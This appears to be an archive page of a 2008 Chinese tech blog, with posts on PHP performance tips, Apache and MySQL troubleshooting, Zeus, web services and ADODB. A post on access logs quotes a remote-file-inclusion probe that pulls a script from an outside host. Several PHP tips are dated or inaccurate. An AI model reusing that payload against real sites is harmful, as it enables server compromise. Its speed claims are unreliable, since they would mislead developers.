40 Tips for optimizing your php code

作者 : admin 于 2008年08月05日, 10:22:25
2008
08-5
  1. If a method can be static, declare it static. Speed improvement is by a factor of 4.
  2. echo is faster than print.
  3. Use echo’s multiple parameters instead of string concatenation.
  4. Set the maxvalue for your for-loops before and not in the loop.
  5. Unset your variables to free memory, especially large arrays.
  6. Avoid magic like __get, __set, __autoload
  7. require_once() is expensive
  8. Use full paths in includes and requires, less time spent on resolving the OS paths.
  9. If you need to find out the time when the script started executing, $_SERVER[’REQUEST_TIME’] is preferred to time()
  10. See if you can use strncasecmp, strpbrk and stripos instead of regex
  11. str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4
  12. If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.
  13. It’s better to use switch statements than multi if, else if, statements.
  14. Error suppression with @ is very slow.
  15. Turn on apache’s mod_deflate
  16. Close your database connections when you’re done with them
  17. $row[’id’] is 7 times faster than $row[id]
  18. Error messages are expensive
  19. Do not use functions inside of for loop, such as for ($x=0; $x < count($array); $x) The count() function gets called each time.
  20. Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.
  21. Incrementing a global variable is 2 times slow than a local var.
  22. Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.
  23. Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.
  24. Just declaring a global variable without using it in a function also slows things down (by about the same amount as incrementing a local var). PHP probably does a check to see if the global exists.
  25. Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.
  26. Methods in derived classes run faster than ones defined in the base class.
  27. A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.
  28. Surrounding your string by ‘ instead of ” will make things interpret a little faster since php looks for variables inside “…” but not inside ‘…’. Of course you can only do this when you don’t need to have variables in the string.
  29. When echoing strings it’s faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.
  30. A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.
  31. Your PHP scripts are recompiled every time unless the scripts are cached. Install a PHP caching product to typically increase performance by 25-100% by removing compile times.
  32. Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request
  33. When working with strings and you need to check that the string is either of a certain length you’d understandably would want to use the strlen() function. This function is pretty quick since it’s operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.Ex.if (strlen($foo) < 5) { echo “Foo is too short”; }

    vs.

    if (!isset($foo{5})) { echo “Foo is too short”; }

    Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it’s execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string’s length.

  34. When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don’t go modifying your C or Java code thinking it’ll suddenly become faster, it won’t. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend’s PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.
  35. Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.
  36. Do not implement every data structure as a class, arrays are useful, too
  37. Don’t split methods too much, think, which code you will really re-use
  38. You can always split the code of a method later, when needed
  39. Make use of the countless predefined functions
  40. If you have very time consuming functions in your code, consider writing them as C extensions
  41. Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview
  42. mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%
  43. Excellent Article about optimizing php by John Lim

山外有山,传说中的大网站

作者 : admin 于 2008年07月30日, 08:57:14
2008
07-30

网站技术总是无止境的,不同的网站有不同的技术架构。昨天接触了某门户技术总监,简单聊了些网站技术,才知道自己原来还在山脚。好多技术不是免费开源能换得来的,在实现一些事情的时候,商用软件能更快解决一些问题,节约的时间就是我们的利润。

但一般的中小网站依然提倡免费开源的解决方案,造成我思想上一些束缚, 没有去发散性的组织一些解决方案。这块原来是我发展的失误。曾经一个些java的大哥提醒我,不要过分迷信开源。事实的确是这样。以后逐渐接触好的商用软件,望有条件的朋友给予支持。

杀死占用80端口的进程

作者 : admin 于 2008年07月27日, 10:33:53
2008
07-27

just kill off the hanging processes:
# fuser 80/tcp
80/tcp: 3010 3702 4088 16754
# kill -n 9 3010
# kill -n 9 3702
# kill -n 9 4088
# kill -n 9 16754
# apachectl start

其实,问题并不是mysql引起的

作者 : admin 于 2008年07月21日, 13:32:19
2008
07-21

原来,mysql没有任何问题,我少安装了某个依赖的组件,这个,是详细分析了congfig.log后得出的结论,好几天就折腾这个了,我总是提醒别人多看日志,原来,自己也犯这个错误。

顺便提出,config.log 里边的日志,已经详细到c语言级代码的错误。所以,仔细查看日志,可以得出这些错误最终原因。

MYSQL无法编译,可能存在的问题

作者 : admin 于 2008年07月19日, 15:32:07
2008
07-19

=============================================================================
Package                 Arch       Version          Repository        Size
=============================================================================
Installing:
mysql-devel             i386       5.0.45-7.el5     base              2.4 M
Installing for dependencies:
e2fsprogs-devel         i386       1.39-15.el5      base              568 k
keyutils-libs           i386       1.2-1.el5        base               18 k
keyutils-libs-devel     i386       1.2-1.el5        base               27 k
krb5-devel              i386       1.6.1-25.el5     base              1.9 M
libselinux-devel        i386       1.33.4-5.el5     base              131 k
libsepol-devel          i386       1.15.2-1.el5     base              189 k
mysql                   i386       5.0.45-7.el5     base              4.1 M
openssl-devel           i386       0.9.8b-10.el5    base              1.8 M
perl-DBI                i386       1.52-1.fc6       base              605 k
zlib-devel              i386       1.2.3-3          base              101 k
Updating for dependencies:
e2fsprogs               i386       1.39-15.el5      base              964 k
e2fsprogs-libs          i386       1.39-15.el5      base              116 k
krb5-libs               i386       1.6.1-25.el5     base              656 k
krb5-workstation        i386       1.6.1-25.el5     base              872 k
libselinux              i386       1.33.4-5.el5     base               94 k
libselinux-python       i386       1.33.4-5.el5     base               58 k
openssl                 i686       0.9.8b-10.el5    base              1.4 M

Transaction Summary

还有就是mysql,client的问题
checking whether to include mime_magic support… yes
checking for MING support… no
checking for mSQL support… yes
checking mSQL version… 1.0
checking for MSSQL support via FreeTDS… no
checking for MySQL support… yes
checking for specified location of the MySQL UNIX socket… /tmp/mysql.sock
checking for MySQL UNIX socket location… /tmp/mysql.sock
checking for mysql_close in -lmysqlclient… no
checking for mysql_error in -lmysqlclient… no
configure: error: mysql configure failed. Please check config.log for more information.
make: *** No targets specified and no makefile found.  Stop.

rpm -Uvh glibc-kernheaders-2.4-9.1.98.EL.x86_64.rpm
rpm -Uvh glibc-headers-2.3.4-2.19.x86_64.rpm
rpm -Uvh glibc-devel-2.3.4-2.19.x86_64.rpm
rpm -Uvh cpp-3.4.5-2.x86_64.rpm
rpm -Uvh gcc-3.4.5-2.x86_64.rpm
rpm -Uvh libstdc++-devel-3.4.5-2.x86_64.rpm
rpm -Uvh gcc-c++-3.4.5-2.x86_64.rpm

Zeus适用体会

作者 : admin 于 2008年07月11日, 22:21:32
2008
07-11

本来以为linux的软件安装会很麻烦,没想到安装Zeus如此的简单,一路next或者yes/no即可安装。系统有完善的后台管理界面,图形化的日志报表。

相比apache,功能没有显少,但效率和负载却很强。Zeus支持FastCGI的方式来运行PHP,这样LZMP的架构的确也很强。

唯一的缺点,Zeus收费。

Web Service来做简单认证服务器

作者 : admin 于 2008年07月08日, 11:21:43
2008
07-8

Web Service简介

Web Service主要是为了使原来各孤立的站点之间的信息能够相互通信、共享而提出的一种接口。 Web Service所使用的是Internet上统一、开放的标准,如HTTP、XML、SOAP(简单对象访问协议)、WSDL等,所以Web Service可以在任何支持这些标准的环境(Windows,Linux)中使用。注:SOAP协议(Simple Object Access Protocal,简单对象访问协议),它是一个用于分散和分布式环境下网络信息交换的基于XML的通讯协议。在此协议下,软件组件或应用程序能够通过标准的HTTP协议进行通讯。它的设计目标就是简单性和扩展性,这有助于大量异构程序和平台之间的互操作性,从而使存在的应用程序能够被广泛的用户访问。

最近写一个认证服务器,需要进行不同程序,不同数据库之间的数据交换,认证服务器提供认证功能,而客户端可能是多种语言开发的。如果实用传统的方式,比如C,或者java开发一个稳定的服务端,人力精力都是问题,只能寻求一种简单的方式进行过渡。

这里我选择了Web Service这种方式,但这种方式也存在一定问题:速度。网上普遍反映速度是问题,soap的方式本身负载是问题,实用xmlrpc,http方式,瓶颈在于webserver的负载能力。但是项目发展初期,此方式完全能满足一段时间,而这段时间我们也能平滑过渡,留出时间进行更深层次的研究。

人生就像网站,指不定谁捅你一刀。

作者 : admin 于 2008年07月04日, 13:20:36
2008
07-4

发现个德国鬼子:

85.236.38.117 - - [04/Jul/2008:05:30:48 +0800] “GET //phpshell.phphttp://sv-hbc.nl/db/cgi/idscan6?? HTTP/1.1″ 404 12684 “-” “libwww-perl/5.805″

ip138.com IP查询(搜索IP地址的地理位置)
您查询的IP:85.236.38.117

* 本站主数据:德国
* 查询结果2:德国
* 查询结果3:德国

69.36.158.7 - - [25/Jun/2008:16:34:44 +0800] “GET /?feed=rss2 HTTP/1.0″ 200 31085 “-” “Moreoverbot/5.00 (+http://www.moreover.com)”
新的搜索引擎?

202.108.7.219 - - [20/Jun/2008:04:12:29 +0800] “GET /?disType=0&job=category&seekname=2 HTTP/1.1″ 200 32787 “-” “Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )”
有道,算是熟人

61.135.168.127 - - [20/Jun/2008:05:39:56 +0800] “GET / HTTP/1.1″ 200 32750 “-” “Baiduspider+(+http://www.baidu.com/search/spider.htm)”
66.249.67.198 - - [20/Jun/2008:05:25:34 +0800] “GET /upfiles/2008/06/1-300×225.jpg HTTP/1.1″ 200 15048 “-” “Googlebot-Image/1.0″
百度google,这哥俩一起来了

65.55.213.107 - - [18/Jun/2008:13:38:12 +0800] “GET /upfiles/2008/06/img_3822.jpg HTTP/1.0″ 200 105436 “-” “msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)”
谢谢盖茨捧场

124.207.144.194 - - [18/Jun/2008:13:51:01 +0800] “GET / HTTP/1.1″ 200 32901 “http://www.coolcode.cn/?action=tags&item=WordPress&page=2″ “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)”
马哥这里来串门的

202.160.180.201 - - [16/Jun/2008:16:28:02 +0800] “GET /robots.txt HTTP/1.0″ 302 0 “-” “Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)”
雅虎来的时候会敲门的,很文明

优秀的系统在于不断锤炼

作者 : admin 于 2008年07月03日, 23:18:09
2008
07-3

最近写代码,为了一个数据库连接的问题,考虑了两个晚上。

一个是adodb的完整版本,一个是adodb lite版本。其实我一直在比较这两个版本的具体区别,和效率问题。另外主要考虑了它的扩展性和兼容性。

经过比较,我选择了lite版本,因为速度,adodb的功能是比lite完善不少,但过于庞大,真正想象,我根本不用那些功能。比如oracle数据库,没人会在oracle上用我这么点个程序。

不过两个类库的方法命令语法基本都一致,我可以轻松切换了。

稳定的系统,就得这样一点点得锤炼才行。

msgclass是个好东西

作者 : admin 于 2008年07月02日, 13:18:35
2008
07-2

突然发现了这个类。

msn的协议是公开的,但官方网站的资料我一直没有看懂,英文水平和windows下编程都不是很在行。

这个类也是开源的,可以帮助我们理解下msn的协议。

另外,垃圾消息可能就是这样来的……

下载:sendmsg

 Page 2 of 4 « 1  2  3  4 »